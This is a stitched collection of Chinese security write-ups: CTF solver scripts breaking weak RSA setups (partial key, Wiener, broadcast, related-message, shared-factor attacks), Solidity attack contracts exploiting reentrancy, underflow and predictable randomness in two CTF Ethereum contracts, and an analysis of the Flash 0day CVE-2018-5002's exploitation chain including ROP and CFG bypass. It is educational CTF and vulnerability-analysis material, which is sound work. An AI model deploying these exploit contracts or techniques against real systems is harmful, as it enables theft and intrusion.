p: 0x6bab908c66b6cfd913aa8902a58ece870e259675662eb4b12833419ef5253d713ac76d3e97cbe7602c7f1ff6f1865a46acf4dbae0f59512201f61593f9f68395L
q: 0xc7bcecc65f7da74d92a08184b639f9af91ffea26c59416134869294ebd24d466eb3f58232d080a4a2b98dc65cf36c2efb0d3e99c6654155bd8e41831ff4d4419L
585468706681329276477449718210237848124414211836568187401926758884114761898943378227026028418158072928115014574268157835435181166614393317861105335193790
'''
m = 585468706681329276477449718210237848124414211836568187401926758884114761898943378227026028418158072928115014574268157835435181166614393317861105335193790
io.sendlineafter("[-]long_to_bytes(m).encode('hex')=",long_to_bytes(m).encode('hex'))
io.recvuntil("[+]Generating challenge 3\n")
n = io.recvline().split("=")[1].strip()
e = io.recvline().split("=")[1].strip()
io.recvline()
c = io.recvline().split("=")[2].strip()
io.recvline()
dd = io.recvline().split("=")[1].strip()
'''
def partial_p(p0, kbits, n):
PR.<x> = PolynomialRing(Zmod(n))
nbits = n.nbits()
f = 2^kbits*x + p0
f = f.monic()
roots = f.small_roots(X=2^(nbits//2-kbits), beta=0.3) # find root < 2^(nbits//2-kbits) with factor >= n^0.3
if roots:
x0 = roots[0]
p = gcd(2^kbits*x0 + p0, n)
return ZZ(p)
def find_p(d0, kbits, e, n):
X = var('X')
for k in xrange(1, e+1):
results = solve_mod([e*d0*X - k*X*(n-X+1) + k*n == X], 2^kbits)
for x in results:
p0 = ZZ(x[0])
p = partial_p(p0, kbits, n)
if p:
return p
if __name__ == '__main__':
n = 0x359f1a3579b0feb2c8315eabd4f18300d0a436246c514c6f20315b367abdf7fa8bb2a67f463e93ee55e904709b9d8bb41961e05fab0996b021d14a41e95854b0d5fa4cd5b8bd4b5dfc239d457225a82e5193bfa9607c8a10717a33e9e50560d8448eef09f59d3174e4d574ba311cb85c22d8b2ba94bb2aa9459fa7e4556eabf5
e = 3
d = 0xf03a5b5181ef301c0e90d9f9f8c89321dc224848e6438132b8bbe2578335c0ce512875d46a93cc2a2afcc64d53604ac12f2b5b9520507919ca651141635cf533
beta = 0.6
epsilon = beta^2/7
nbits = n.nbits()
print nbits
kbits = floor(nbits*(beta^2+epsilon))
print kbits
d0 = d & (2^kbits-1)
print "lower %d bits (of %d bits) is given" % (kbits, nbits)
p = find_p(d0, kbits, e, n)
print "found p: %d" % p
q = n//p
print d
print inverse_mod(e, (p-1)*(q-1))
1022
420
lower 420 bits (of 1022 bits) is given
found p: 5187906304275017677597329735734220070576352716171110498255822371549949926866441888027248344079507102971677286337805888649512278848643645061940765012795363
12581758953975131139829460552441032035253094155970085390848181339207904871866760521309122068771352966718052558317786123791975955455578013601603365747094835
25102862251104975324783237668753484063940741831599758073664126789860590958797844165485168376592162323554806263577532211244673018130713710718373026663090840738408904930459702120537687392575873439836153561926217351088417309346677995236698734007954784101740717586952475522629013159116921613383958314383683941683
'''
n = 0x359f1a3579b0feb2c8315eabd4f18300d0a436246c514c6f20315b367abdf7fa8bb2a67f463e93ee55e904709b9d8bb41961e05fab0996b021d14a41e95854b0d5fa4cd5b8bd4b5dfc239d457225a82e5193bfa9607c8a10717a33e9e50560d8448eef09f59d3174e4d574ba311cb85c22d8b2ba94bb2aa9459fa7e4556eabf5
c = 0x21638d71294a9351d12ee4fda0f444e5b3f2ed8544b612883c095979da66c367323c3eae7d54040fb88aa590eefa62a3ea23bf6272eab4e6c5edbb7f4573d990c430e550afe3a4c3030c39e413986d284acfc3a2e3ab75778b2e067d85a89eab8182313073392997dee7cdab5ee4301f6e9721838406bddc88f3a1ae18ae57ba
d = 25102862251104975324783237668753484063940741831599758073664126789860590958797844165485168376592162323554806263577532211244673018130713710718373026663090840738408904930459702120537687392575873439836153561926217351088417309346677995236698734007954784101740717586952475522629013159116921613383958314383683941683
m = pow(c,d,n)
io.sendlineafter("[-]long_to_bytes(m).encode('hex')=",long_to_bytes(m).encode('hex'))
io.recvuntil("[+]Generating challenge 4\n")
e = int(io.recvline().split("=")[1].strip())
io.recvline()
n1 = int(io.recvline().split("=")[1].strip()[2:-1],16)
c1 = int(io.recvline().split("=")[2].strip()[2:-1],16)
n2 = int(io.recvline().split("=")[1].strip()[2:-1],16)
c2 = int(io.recvline().split("=")[2].strip()[2:-1],16)
n3 = int(io.recvline().split("=")[1].strip()[2:-1],16)
c3 = int(io.recvline().split("=")[2].strip()[2:-1],16)
N = n1*n2*n3
N1 = N/n1
N2 = N/n2
N3 = N/n3
u1 = gmpy2.invert(N1, n1)
u2 = gmpy2.invert(N2, n2)
u3 = gmpy2.invert(N3, n3)
M = (c1*u1*N1 + c2*u2*N2 + c3*u3*N3) % N
m = int(gmpy2.iroot(M,e)[0])
io.sendlineafter("[-]long_to_bytes(m).encode('hex')=",long_to_bytes(m).encode('hex'))
io.recvuntil("[+]Generating challenge 5\n")
n = io.recvline().split("=")[1].strip()
e = io.recvline().split("=")[1].strip()
io.recvline()
c = io.recvline().split("=")[2].strip()
x = io.recvline().split("=")[1].strip()
'''
from sage.all import *
n1 =0x239e010007b64ae57fc6ed550065d6b0ff7bd24e74f8431528196a69ea29ccefa977d21bfbfaea80cf313e30b604465fda3d356ab8be8a998fd3687a6e3edd440691231850c97c423afc9ad77edbb0413772dfb855df2cd308906991230c620a08c6438f43c666cdf7856fd191cdab51d1082f92081fa79547775f0f5b8f0ec9
e = 3
C1 = 0xb67bf318324d9a0c0ea476e53f672e82f3e2107230ba71ff780c23f059d4dcf4fb2747d03d56494a8afe35a818acc5c05e1653bccde88f4636d953d1cf37f4f324124b026ecf2bed5fa5da93746fcff99f6fbc6d960a55f8ed8224bbd0f44e39294260e4d9266df21e93bf70ebf4b69ca20fe5fb9f031a444b72bb163c9a09cL
C2 = 0x1803d75614802a7813d70169cef2a000ea55e3ea34863d4f684394e944c12cd1b70a8f46efe22ed5a11ac3799999417907eb4ed1f6f77fe84e081506218f1ffc31608c314f738656aa001a753d4d513bdb932e055a5300cccbc90c5a98d442deb2db7ca6b64423492e204c9a09fd2cc2a9710d09bb3c800eb252a17c34b41c00L
PRxy.<x,y> = PolynomialRing(Zmod(n1))
PRx.<xn> = PolynomialRing(Zmod(n1))
PRZZ.<xz,yz> = PolynomialRing(Zmod(n1))
g1 = x**e - C1
g2 = (x + y)**e - C2
q1 = g1.change_ring(PRZZ)
q2 = g2.change_ring(PRZZ)
h = q2.resultant(q1)
# need to switch to univariate polynomial ring
# because .small_roots is implemented only for univariate
h = h.univariate_polynomial() # x is hopefully eliminated
h = h.change_ring(PRx).subs(y=xn)
h = h.monic()
roots = h.small_roots(X=2**40, beta=0.3)
assert roots, "Failed1"
diff = roots[0]
if diff > 2**32:
diff = -diff
C1, C2 = C2, C1
print "Difference:", diff
x = PRx.gen() # otherwise write xn
g1 = x**e - C1
g2 = (x + 1)**e - C2
# gcd
while g2:
g1, g2 = g2, g1 % g2
g = g1.monic()
assert g.degree() == 1, "Failed 2"
# g = xn - msg
msg = -g[0]
# convert to str
print msg
print pow(msg,3,n1)==C1
Difference: 1
3359866727795952574047570400129983625808766359347672927740163405945044601265065800687792901768426453783209977783706554638017355219744329839231253397496875
True
'''
m = 3359866727795952574047570400129983625808766359347672927740163405945044601265065800687792901768426453783209977783706554638017355219744329839231253397496875
io.sendlineafter("[-]long_to_bytes(m).encode('hex')=",long_to_bytes(m).encode('hex'))
io.recvuntil("[+]Generating challenge 6\n")
n = io.recvline().split("=")[1].strip()
io.recvline()
io.recvline()
e = io.recvline().split("=")[1].strip()
io.recvline()
c = io.recvline().split("=")[2].strip()
'''
def wiener(e, n):
m = 12345
c = pow(m, e, n)
q0 = 1
list1 = continued_fraction(Integer(e)/Integer(n))
conv = list1.convergents()
for i in conv:
k = i.numerator()
q1 = i.denominator()
for r in range(20):
for s in range(20):
d = r*q1 + s*q0
m1 = pow(c, d, n)
if m1 == m:
return d
q0 = q1
d = wiener(0x11722b54dd6f3ad9ce81da6f6ecb0acaf2cbc3885841d08b32abc0672d1a7293f9856db8f9407dc05f6f373a2d9246752a7cc7b1b6923f1827adfaeefc811e6e5989cce9f00897cfc1fc57987cce4862b5343bc8e91ddf2bd9e23aea9316a69f28f407cfe324d546a7dde13eb0bd052f694aefe8ec0f5298800277dbab4a33bbL, 0xbadd260d14ea665b62e7d2e634f20a6382ac369cd44017305b69cf3a2694667ee651acded7085e0757d169b090f29f3f86fec255746674ffa8a6a3e1c9e1861003eb39f82cf74d84cc18e345f60865f998b33fc182a1a4ffa71f5ae48a1b5cb4c5f154b0997dc9b001e441815ce59c6c825f064fdca678858758dc2cebbc4d27L)
print d
d = 776765455081795377117377680209510234887230129318575063382634593357724998207571
'''
d = 776765455081795377117377680209510234887230129318575063382634593357724998207571
c = 0xe3505f41ec936cf6bd8ae344bfec85746dc7d87a5943b3a7136482dd7b980f68f52c887585d1c7ca099310c4da2f70d4d5345d3641428797030177da6cc0d41e7b28d0abce694157c611697df8d0add3d900c00f778ac3428f341f47ecc4d868c6c5de0724b0c3403296d84f26736aa66f7905d498fa1862ca59e97f8f866c
n = 0xbadd260d14ea665b62e7d2e634f20a6382ac369cd44017305b69cf3a2694667ee651acded7085e0757d169b090f29f3f86fec255746674ffa8a6a3e1c9e1861003eb39f82cf74d84cc18e345f60865f998b33fc182a1a4ffa71f5ae48a1b5cb4c5f154b0997dc9b001e441815ce59c6c825f064fdca678858758dc2cebbc4d27
m = pow(c,d,n)
io.sendlineafter("[-]long_to_bytes(m).encode('hex')=",long_to_bytes(m).encode('hex'))
io.recvuntil("[+]Generating challenge 7\n")
n = io.recvline().split("=")[1].strip()
io.recvline()
io.recvline()
e = io.recvline().split("=")[1].strip()
io.recvline()
c = io.recvline().split("=")[2].strip()
'''
'[++++++++++++++++]all clear[++++++++++++++++]\n'
'flag{17181389f36ebe098c4cebd3abe1096cdf7dd78f3db139e4958a7578f6fe6f44}\n'
### 强网先锋-辅助
In [1]: from Crypto.Util.number import inverse
In [2]: c1,e,n1 = 2482083893746618248544426737023750400124543452082436334398504986023501710639402060949
...: 10669327946289696883902971209933623597622157156464290024082777471919953312405395315791985083821
...: 40219349074806334415773162638530112325183929049830280521558621542644011081249684040988239466918
...: 11798952747194237290581323868666637357604693015079007555594974245559555518819140844020498487432
...: 68494692274123205324989457541779606709065512270230613484822025794329764546147748808680485601832
...: 39867969991033855655404965344224063903559879768154507445359497850730090430071594969291871843385
...: 92859040917546122343981520508220332785862546608841127597, 65537, 149670300599751149502953998741
...: 85047053736587880127990542035765201425779342430662517765063258784685868107066789475747180244711
...: 35264646977673293854464158384231379187298635750446218492407522743349863142328918798835147566678
...: 51908542103895875949754560649846119904611266843010862415329152673116751641902134742453110196236
...: 54865937851653532870965423474555348239858021551589650169602439423841160698793338115204238140085
...: 73868088331343357406024360002850060082462435847340305959759389141217939916581362251290126338029
...: 95610196247414887793670193897757865472920653528850072242395817769758923853644464461856429391372
...: 87519945974807727
In [3]: c2,e,n2 = 3829060039572042737496679186881067950328956133163629908872348108160129550437697677150
...: 59948392392579822432817559448321793883352022008723030347013852597046891551111132039618548256478
...: 39754353463544400357769097811584076360449864038198406483796096300393488954150457232088436311912
...: 52142600667607807479954194447237061080618370787672720344741413537975922184859333432197766580150
...: 53445700119676562167865995210801059627324423081232718278632976084403714971958726963213359514929
...: 40674909556448934027087202841797150021492240689288286565153264468817912286380085728893315119450
...: 42911372915003805505412099102954073299010951896955362470, 65537, 146246626287258206186223708039
...: 48630854094687814338334827462870357582795291844925274690253604919535785934208081825425541536057
...: 55022704839983724339249076216773308303036822124076469369432115010430604412593420169943014697046
...: 66574109992616308259311787318572675997503249186107900989525201135931302450105309613505927352394
...: 54337631927669542026935873535964487595433984902529960726655481696404006628917922241666148082741
...: 87403375697072435747053958984854870457309163391786938723932444773058754547256456149672488279949
...: 51867688583244908381691230770518903323136712203858304443315786743380140809596532018024765162374
...: 64651809255679979
In [4]: from Crypto.Util.number import inverse,GCD
In [5]: GCD(n1,n2)
Out[5]: 161993393900030566867150602363721535479433489542726899362944130872107225598993516228193877689420023695231584876954537089973673478074348422697619820309397363583748523503035462772765277978491082324620122838540365168604124924805412323471486221429513024367107238770298040268787441768635257727315317704741778501737L
In [6]: p = GCD(n1,n2)
In [7]: q = n1/p
In [8]: d = inverse(e,(p-1)*(q-1))
In [9]: m = pow(c1,d,n1)
In [10]: m
Out[10]: 46327402297756142163414444763385873143473454642530335007005275780577416655741L
In [11]: from Crypto.Util.number import long_to_bytes
In [12]: long_to_bytes(m)
Out[12]: 'flag{i_am_very_sad_233333333333}'
### babybank
#### 原合约分析
<https://ethervm.io/decompile/ropsten/0xD630cb8c3bbfd38d1880b8256eE06d168EE3859c>
合约字节码->伪代码
合约成员 | 成员说明
---|---
0x00 | balance map(address -> uint)
0x01 | level map(address -> uint)
0x02 | 合约创建者的地址 0x409dd71C0E5500dA1e0489d4885411b1Da52d4c2
0x03 | 初始化为3fde42988fa35
合约函数 | 参数 | 说明
---|---|---
withdraw | uint256 |
如果sender的balance大于参数，就向sender发送一个value为参数乘0x5af3107a4000的交易，从sender的balance中扣除参数
profit | 无 | 如果sender的address最后四位为b1b1，且sender的level为0，sender的balance和level都加1
0x8c0320de | string,string | 进入要求balance大于0x02540be400，第一个参数是战队token的MD5
第二个参数是base64编码的邮箱
0x8e2a219e | uint256 | 如果sender是2号的值，将3号修改为传进来的值
guess | uint256 | 如果传进来的值是3号的值，且sender的level为1，sender的balance和level都加1
transfer | address,uint256 | 向address转移一定量的balance，只能转移0x02
0xd41b6db6 | address | 返回sender的level
balance | address | 返回sender的balance
合约创建者调用了0x8e2a219e 参数值为3fde42988fa35
#### 原理
withdraw函数会给调用者发送以太坊，如果调用者是合约，就会调用合约的function() payable。
如果合约中function()
payable调用了withdraw，这时最外层的withdraw尚未减少balance，所以第二次调用的withdraw会将balance减少到0，回到最外层的withdraw，就会将balance溢出。
但是要想发送以太坊就得让账户上有以太坊，而直接把以太坊发送给原合约是不行的，可以通过创建临时合约，在将以太坊转移到临时合约，最后通过selfdestruct(address)将临时合约上的以太坊强制转移到address上。
#### 步骤
1. 先创建一个地址最后四位为b1b1的账号
import binascii
import sha3
from ecdsa import SigningKey, SECP256k1
while 1:
priv = SigningKey.generate(curve=SECP256k1) #生成私钥
pub = priv.get_verifying_key() #生成公钥
keccak = sha3.keccak_256()
keccak.update( pub.to_string()) #keccak_256哈希运算
address = "0x" + keccak.hexdigest()[24:]
priv_key = binascii.hexlify( priv.to_string())
pub_key = binascii.hexlify( pub.to_string())
print("Private key: " + priv_key.decode() )
print("Public key: " + pub_key.decode() )
print("Address: " + address)
print address[-4:]
if "b1b1" == address[-4:]:
break
generate online:<https://vanity-eth.tk/>
Address: 0xb1D0cA3f763cFAAa494aF658f7B502D16eD1b1b1
Private key: 0d7438e0cafa6df372600aef059cf2621938f34ae9d1fd4683cea7ec96668639
Address: 0x1b6FA3DfcD943f5c513815af92355bF893b7b1b1
Private key: 6b8cd7688f612415d639ccffc179e8e31e0ab3b3fe57dc39c9eb0fbd9d4a6449
Address: 0xE9046061fc2eDaAd9910181396B212161067b1B1
Private key: 660fe55dc06323ed5a43cf6c5ebb4fbfe22f9a28f1788d4cb840ea102e8cd337
Address: 0xC7A403Fe97525d01E368D4f7f1920F4fe0BfB1B1
Private key: 95923502fff00e0393368e750535f500b5ee6db938d89d0ecd9d62c8b609ae9c
2. 创建合约A
pragma solidity ^0.4.18;
contract ctf {
address callee = 0xD630cb8c3bbfd38d1880b8256eE06d168EE3859c;
bytes4 f1 = 0x2e1a7d4d;
bytes4 f2 = 0x8c0320de;
bool count = false;
function() payable public
{
if (!count)
{
callee.call(f1,2);
count = true;
}
}
function hello() public returns (bool)
{
if(callee.call(f1,2))
return callee.call(f2,"2d5088d4cac1e7d5f935659807a44db8","bHRzbWFrZXJAbGl2ZS5jbg==");
}
}
3. 创建临时合约B
pragma solidity ^0.4.18;
contract ctf2 {
function() payable public
{
}
function awsl(address to) public
{
selfdestruct(to);
}
}
4. profit()
5. guess(3fde42988fa35)
6. transfer(合约A地址,2)
7. 转移以太坊到临时合约
8. 毁灭临时合约
9. 调用合约A上的函数
### babybet
#### 原理
bet里面生成的随机数可被控制。
一个address最多获取1000点balance，而payforflag需要1000000点，生成1000个账号获取balance，最后转移到一个账号上。
#### 步骤
pragma solidity ^0.4.18;
contract awsl {
address caller = 0xC7A403Fe97525d01E368D4f7f1920F4fe0BfB1B1;
address sender = 0x5d1beefd4de611caff204e1a318039324575599a;
bytes4 profit_addr = 0x66d16cc3;
bytes4 bet_addr = 0x7365870b;
bytes4 transfer_addr = 0xf0d25268;
function awsl() payable public
{
//caller = msg.sender;
}
function attack() payable public
{
sender.call(profit_addr);
bytes32 entropy = block.blockhash(block.number-1);
uint num = uint(entropy) % 0x03;
sender.call(bet_addr,num);
sender.call(transfer_addr,caller,1000);
selfdestruct(caller);
}
}
contract bitit {
address sender = 0x5d1beefd4de611caff204e1a318039324575599a;
bytes4 profit_addr = 0x66d16cc3;
bytes4 bet_addr = 0x7365870b;
bytes4 getflag_addr = 0x8c0320de;
function() payable public
{
}
function aaaaaaaaa() payable public
{
for (int i=0;i<19;i++)
{
awsl temp = new awsl();
temp.attack();
}
}
}
for (var i = 4;i<=50;i++){
var message ={to:"0x68Fb426E47dbaF6473f35b063CaF1BB4882C44Aa", data:"0x347b3755"};
web3.eth.sendTransaction(message, (err, res) => {
var output = "";
if (!err) {
output += res;
} else {
output = "Error";
}
console.log(output);
})
}
1. 部署合约
2. aaaaaaaaa() 53次
(aaaaaaaaa中最多只能进行19次操作，不然就out of gas了)
3. getflag | 社区文章 |
作者：jinquan of Qihoo 360 Core Security
作者博客：[360 Technology Blog](http://blogs.360.cn/post/indepth_CVE-2018-5002.html
"360 Technology Blog")
### 前言
2018年6月1号，360高级威胁应对团队捕获到一个在野[flash
0day](http://blogs.360.cn/post/cve-2018-5002.html "flash 0day")。上周，国外分析团队Unit
42公布了关于该次行动的[进一步细节](https://researchcenter.paloaltonetworks.com/2018/09/unit42-slicing-dicing-cve-2018-5002-payloads-new-chainshot-malware/
"进一步细节")。随后，卡巴斯基在[twitter](https://twitter.com/craiu/status/1038046509793722368
"twitter")指出此次攻击背后的APT团伙是FruityArmor APT。
在这篇博客中，我们将披露该漏洞利用的进一步细节。
### 漏洞利用
原始样本需要与云端交互触发，存在诸多不便，所以我们花了一些时间完整逆向了整套利用代码，以下分析中出现的代码片段为均为逆向后的代码。原始利用支持xp/win7/win8/win8.1/win10
x86/x64全平台。以下分析环境为windows 7 sp1 x86 + Flash 29.0.0.171。64位下的利用过程会在最后一小节简要提及。
#### 1\. 通过栈越界读写实现类型混淆
原样本中首先定义两个很相似的类`class_5`和`class_7`，并且`class_7`的第一个成员变量是一个`class_5`对象指针，如下：
紧接着调用replace方法尝试触发漏洞，可以看到在replace函数内定义了一个`class_5`对象和一个`class_7`对象，并将这两个对象作为参数交替传入trigger_vul函数()。
从下图可以看到，trigger_vul方法一共有256个参数，分别为交替出现的128个class_5对象和128个class_7对象。这是为了后面的类型混淆做准备。
在`trigger_vul`内部，首先创建一个`class_6`对象用于触发漏洞，
在`class_6`类内调用li(123456)触发RangeError，通过修改ByteCode后可以导致进入如下的catch逻辑(伪代码)，可以看到在catch内越界交换了两个栈上的变量(local_448和local_449)。而攻击者通过精确布控jit栈，导致交换的两个栈变量恰好为先前压入的一个cls5对象指针和一个cls7对象指针。从而实现了类型混淆。
成功交换指针后，将修改完后的栈上数据(256个参数)分别回赋给一个`cls5_vec`对象和一个`cls7_vec`对象，最后返回`cls5_vec`对象，这时`cls5_vec`里面存在一个cls7对象，其余均为为cls5。
在windbg中看到上述过程如下：
根据着色分布可以看到栈上的一个cls5对象指针和一个cls7指针在漏洞触发后发生了互换：
返回到`trigger_vul`之后，遍历`cls5_vec`中的成员，找出`m_p1`不为`0x11111111`的`cls_5`对象，此对象即为被混淆的`cls_7`。随后保存有问题的`“cls_5”`对象和`cls_7`对象到静态成员。
`trigger_vul`返回之后，通过`_cls5.m_p6`成员是否为0来确定当前环境为x86还是x64，并借助两个混淆的对象(cls5和cls7)去初始化一个`class_8`对象，该对象用于实现任意地址读写。
#### 2\. 任意地址读写
`class_8`类是攻击者构造的一个工具类，用来实现任意地址读写，并在此基础上实现了x86/x64下的一系列读写功能函数。我们重点来看一下readDWORD32和writeDWORD32的实现。
##### 2.1 readDWORD32
由于cls7的第一个成员(var_114)是一个cls5对象，所以在cls5被混淆成cls7后，表面上对`cls5.m_p1`的修改实质是对`cls7.var_114`的修改。现在假设我们有一个需要读取的32位地址addr，只需要把addr-0x10的值赋值给`cls5.m_p1`，这样相当于把`cls7.var_114`设为了addr-0x10。然后去读取`cls7.var_114.m_p1`,
此语句会将`cls7.var_114.m_p1`处的值当做一个class_5对象，并读取它的第一个成员变量，也即将addr-0x10当作一个`class_5`对象，并读取addr-0x10+0x10处的四个字节。
下图解释了为什么32位下需要addr-0x10，由于继承关系，每一个as3对象的前16个字节结构是固定的(其中，“pvtbl”是C++虚表指针，“composite”、“
vtable”和“delegate”成员可以参考avmplus源码中的ScriptObject实现)，一个类对象的第一个成员变量位于对象首地址+0x10处(64位下类推为addr-0x20)：
图：从内存来看，混淆后，对cls5的操作实际上影响了cls7对应内存处的值，随后可以通过访问`cls7.var_114.m_p1`去读取任意addr处的值。
##### 2.2 writeDWORD32
writeDWORD32原理和readDWORD32类似，此处不再赘述。
在clsss_8类中，攻击者在上述两个函数的基础上实现了一系列功能函数，全部如下：
#### 3\. 定位ByteArray相关成员偏移
虽然攻击者并未借助ByteArray来实现任意地址读写，但为方便利用编写，他必须知道当前Flash版本中ByteArray相关成员的内存偏移。为此，攻击者定义了一个`class_15`类，用来借助任意地址写实现对特定成员的偏移搜索并，保存。以供后面使用。
setOffset32的部分逻辑：
以下`class_15`的成员用来保存动态搜索到的内存偏移。
#### 4\. 1st shellcode
找到相关偏移后，攻击者立即开始构造shellcode并执行。
1阶段的shellcode为内置，但有7个DWORD32字段需要动态填充。而2阶段的shellcode通过一个ByteArray动态传入，即上面setOffset函数中的`_bArr`成员。由于并未得到攻击者的2阶段shellcode，我们使用的2阶段shellcode来自HackingTeam泄漏的代码，功能为弹一个计算器。
攻击者先借助ByteArray(ba)存储了一个1阶段shellcode模板，反汇编后如下，其中紫色区域是需要动态填充的字段，这些字段代表的含义如注释所示：
然后初始化一个新的ByteArray对象(ba2)，将其的array区域的前16字节初始化如下：
#### 5\. Bypass ROP
为了构造ROP，攻击者专门定义了一个辅助类`class_25`，在里面实现了如下功能函数：
攻击者先借助flash模块的IAT找到User32.dll的GetDC地址，再借助User32.dll的IAT找到ntdll.dll的RtlUnWind地址，
随后从ntdll.dll的EAT的AddressOfFunctions数组中找到NtProtectVirtualMemory和NtPrivilegedServiceAuditAlarm的函数偏移并计算得到对应的函数地址。
攻击者这里的思路是取出NtProtectVirtualMemory的SSDT索引，和NtPrivilegedServiceAuditAlarm+0x5的地址，供后面使用。
后面会通过call
NtPrivilegedServiceAuditAlarm+0x5并传入NtProtectVirtualMemory的SSDT索引的方式来Bypass
ROP的检测。由于ROP检测并未Hook
NtPrivilegedServiceAuditAlarm作为关键函数，所以并不会进入ROP检测逻辑中，因此绕过了ROP的所有检测。
随后搜索以下的ROP部件并保存，供后面使用
随后将上述信息返回给上层调用者：
随后部分值被填充到1st shellcode的前5个pattern。
#### 6\. Bypass CFG
这个样本在32位下通过覆盖jit栈的方式来绕过CFG，攻击者首先定义了两个相似的类`class_26`和`class_27`。两者都定义了一个方法叫做`method_87`。不同之处在于`class_26.method_87`只接受两个参数，而`class_27.method_87`接受256个参数，并会将传入的参数全部保存并返回给调用者。
##### 6.1 jit地址替换
攻击者首先初始化了一个`class_26`对象cls26和一个`class_27`对象cls27。然后借助任意地址读写能力将`cls26.method_87`的jit地址替换为cls26.method_87的jit地址，
然后第二次调用`cls26.method_87`，此时实际上调用的是`cls27.method_87`，由于`cls26.method_87`自身只会传入2个参数，导致泄漏了大量jit栈上的数据，攻击者随后利用泄漏的数据找到一个jit参数栈的地址，并第二次调用`cls27.method_87`，用以覆盖jit栈的一个返回地址，从而在对应的函数返回时控制eip。
在windbg中观察一下上述过程：
##### 6.2 jit地址替换原理
根据[这篇文章](https://www.coresecurity.com/blog/exploiting-cve-2015-0311-part-ii-bypassing-control-flow-guard-on-windows-8-1-update-3
"这篇文章")，我们可以知道cls26对象的+0x08处是一个vTable对象指针，而vTable对象的+0x48处是一个MethodEnv对象指针，MethodEnv对象内又包含自身的`_implGPR`函数指针和一个MethodInfo对象指针，MethodInfo对象内也包含一份`_implGPR`函数指针，这些结构体间在内存中的寻址关系如下所示：
所以`replace_jit_addr`函数本质上是用`cls27.method_87`的jit地址替换了`cls26.method_87`的jit地址。但`cls26.method_87`的jit地址在好几个地方都有存储(如上图就有`MethodEnv._implGPR`和`MethodEnv.MethodInfo._implGPR`两个地方存储着`cls26.method_87`的地址)，我们如何确定要覆盖的是哪一个地方？
这得从class_21$/executeShellcodeWithCfg32函数的jit汇编代码中寻找答案。如下是executeShellcodeWithCfg32的部分汇编代码。代码中红框圈出的两句代码清楚地指明了`cls26.method_27`函数第二次调用时的函数指针寻址过程，很明显，这里用的是`MethodEnv._implGPR`。
至于cls27.method_27的地址，任意找一个存储其jit地址的地方读取即可(这里也可以采用HackingTeam的代码中读取jit函数指针的方法，如下)。所以一共可以有三种方式。Exp代码中的两种，加上HackingTeam中的一种。但写入地址是唯一的。通过上述做法，成功实现了对jit地址的偷天换日。
在2016年的一篇总结Flash利用的[文献](https://www.blackhat.com/docs/us-16/materials/us-16-Oh-The-Art-of-Reverse-Engineering-Flash-Exploits.pdf
"文献")中，作者曾介绍过用覆写`MethodInfo._implGPR`的方式来劫持eip。两种方式十分类似，但并不完全相同。
##### 6.3 覆写jit栈上的返回地址
在第二次调用cls27.method_87时，攻击者传入的参数如下，其中的retn为上面寻找到的gadget03(addr_of_ret)。其余重要参数均在注释中进行说明。由于ba2_array的前12个字节分别为：第一阶段的shellcode地址(ba_array)，0x1000，0。这些恰好对应NtProtectVirtualMemory所需的前3个参数。
我们具体看一下`cls27.method_87`内部的逻辑。可以看到若第一参数为0x85868788，则递归调用自身20次，这是为了布局jit栈，方便后面覆盖eip：
在最后一次调用中，`cls27.method_87`会借助前面泄漏的jit栈地址来找到将要覆盖的eip所在的栈地址pRetAddr，并保存原始返回地址。
随后，为了在触发漏洞后不造成crash，攻击者又传入原始返回地址第二次修改1st
shellcode，将最后两个pattern处填写为正确的值，保证shellcode执行完后可以正常返回：
通过覆盖栈上的eip劫持控制流，成功避开了CFG的检测，从而Bypass CFG。
调试发现被覆盖的eip为jit栈上cls27.method_87递归调用自身20次中某次的返回地址
最后，在递归调用某次返回的过程中，eip被成功劫持至第一阶段的ROP，随后的整个过程在windbg中观察如下：
2nd
shellcode执行完毕后，会继续从`class_27.method`的递归调用中返回。然后返回到flash的正常逻辑，此过程中不会造成crash和卡顿，整个利用方式非常稳定。
#### 7\. 64位下的利用分析
原利用代码也支持64位环境。64位下的漏洞触发代码和32位下并没有什么不同，只在Bypass CFG部分有所差异。原利用代码中出现了两种Bypass
CFG的方法，下面分别介绍。
##### 7.1 分支1
如果当前64位环境下的ntdll.dll中可以找到如下gadget，则走分支1。从注释的汇编代码中可以清楚地看到这部分gadget的作用：弹出栈顶部的4个值给x64调用约定下作为前4个参数的寄存器并返回。
随后找到kerner32!VirtualProtect函数地址，并和传入的shellcode一起传入下图所示的函数，在curruptJitStack函数借助jit地址覆盖去替换返回地址(此过程和32位下非常相似)，并在jit函数返回时利用rop将shellcode所在地址设置为可执行。随后调用replaceJitApply64去调用执行shellcode。replaceJitApply64函数内借助了HackingTeam之前泄漏的方法去Bypass
CFG，即覆盖FunctionObject.Apply()方法的虚表地址。其中replaceJitApply64方法会在分支2中分析。
##### 7.2 分支2
假如在当前进程的ntdll.dll没有找到分支1所需的gadget，则进入分支2，分支2采用了覆盖FunctionObject.Apply()方法的虚表地址的方法。
我们来详细看一下replaceJitApply64，如果熟悉之前HackingTeam的利用代码，则很容易理解下述代码：
分支2会两次调用replaceJitApply64函数，第一次的目的是调用kernel32!VirtualProtect函数去设置shellcode的执行权限。函数内首先定义一个ByteArray对象ba，然后将shellcode放置在ba.array的首部。
随后将找到ExecMgr对象的虚表，将其虚表前的8个字节及虚表的前0xE4/8个虚函数地址拷贝到ba.array的len(shellcode)起始处(伪造虚表)。
随后覆盖伪造的ExecMgr虚表+0x30处的8个字节，这正是apply方法对应的虚函数地址。随后覆写ExecMgr首部的虚表指针，设置相关寄存器的值和相关对象偏移处的值，以构造VirtualProtect函数所需的4个参数，随后调用apply方法以调用VirtualProtect，调用完将之前覆盖的值都恢复原来的值，从而不造成crash。对这部分细节的详细描述可以参考这篇博客。下图的注释也写得比较清楚。
调用完后返回到上级函数，随后再次调用replaceJitApply64方法，用shellcode+0x8的地址去替换apply方法对应的虚函数地址。从而执行shellcode。执行完shellcode后回到Flash代码，整个过程也不会造成crash。
### 总结
CVE-2018-5002是一个位于avm2解释器内的非常严重的漏洞，漏洞质量高，影响范围极为广泛。从原始flash的编译日志可以观察到，整套利用框架早在2018.2.7日就已经完成编译。该套利用代码通用性强，稳定性好，整体水平较高。
### References
<https://recon.cx/2012/schedule/attachments/43_Inside_AVM_REcon2012.pdf>
* * * | 社区文章 |
来源：[ **绿盟科技博客**](http://blog.nsfocus.net/fastjson-remote-deserialization-program-validation-analysis/)
作者：[ **廖新喜**](http://xxlegend.com/)
**2017.5.3日更新：增加_tfactory为一个空object即{
}，使poc在各个jdk版本都起作用。影响版本更新：fastjson-1.2.22到1.2.24区间**
#### 背景
